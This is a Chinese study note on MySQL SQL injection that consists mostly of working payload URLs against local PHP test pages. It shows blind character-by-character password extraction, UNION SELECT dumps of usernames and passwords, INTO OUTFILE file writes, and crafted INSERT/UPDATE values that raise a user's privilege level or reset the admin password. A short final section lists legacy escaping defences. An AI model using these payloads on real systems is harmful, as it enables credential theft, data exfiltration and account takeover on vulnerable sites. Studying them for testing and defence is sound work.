SQL注入的重點就是構造SQL語句，只有靈活的運用SQL 
語句才能構造出牛比的注入字符串。學完之后寫了點筆記，已備隨時使用。希望你在看下面內容時先了 
解SQL的基本原理。筆記中的代碼來自網絡。 
===基礎部分=== 
本表查詢： 
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m 

Union聯合語句： 
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/* 
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/* 

導出文件： 
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt 
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt 
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt 

INSERT語句： 
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 
構造homepage值為：http://4ngel.net', '3')# 
SQL語句變為：INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1'); 

UPDATE語句：我喜歡這樣個東西 
先理解這句SQL 
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id' 
如果此SQL被修改成以下形式，就實現了注入 
1：修改homepage值為 
http://4ngel.net', userlevel='3 
之后SQL語句變為 
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id' 
userlevel為用戶級別 
2:修改password值為 
mypass)' WHERE username='admin'# 
之后SQL語句變為 
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' 
3：修改id值為 
' OR username='admin' 
之后SQL語句變為 
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin' 

===高級部分=== 
常用的MySQL內置函數 
DATABASE() 
USER() 
SYSTEM_USER() 
SESSION_USER() 
CURRENT_USER() 
database() 
version() 
SUBSTRING() 
MID() 
char() 
load_file() 
…… 
函數應用 
UPDATE article SET /> http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version() 
SELECT * FROM user WHERE username=char(97,110,103,101,108) 
# char(97,110,103,101,108) 相當于angel，十進制 
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100) 
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111 

確定數據結構的字段個數及類型 
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97) 

猜數據表名 
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members 

跨表查詢得到用戶名和密碼 
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 

其他 
#驗證第一位密碼 
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 

===注入防范=== 
服務器方面 
magic_quotes_gpc設置為On 
display_errors設置為Off 
編碼方面 
$keywords = addslashes($keywords); 
$keywords = str_replace("_","\_",$keywords); 
$keywords = str_replace("%","\%",$keywords); 
數值類型 
使用intval()抓換 
字符串類型 
SQL語句參數中要添加單引號 
下面代碼，用于防治注入 
if (get_magic_quotes_gpc()) { 
//.... 
}else{ 
$str = mysql_real_escape_string($str); 
$keywords = str_replace("_","\_",$keywords); 
$keywords = str_replace("%","\%",$keywords); 
} 
有用的函數 
stripslashes() 
get_magic_quotes_gpc() 
mysql_real_escape_string() 
strip_tags() 
array_map() 
addslashes() 
參考文章： 
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文 
http://www.phpe.net/mysql_manual/06-4.html（MYSQL語句參考）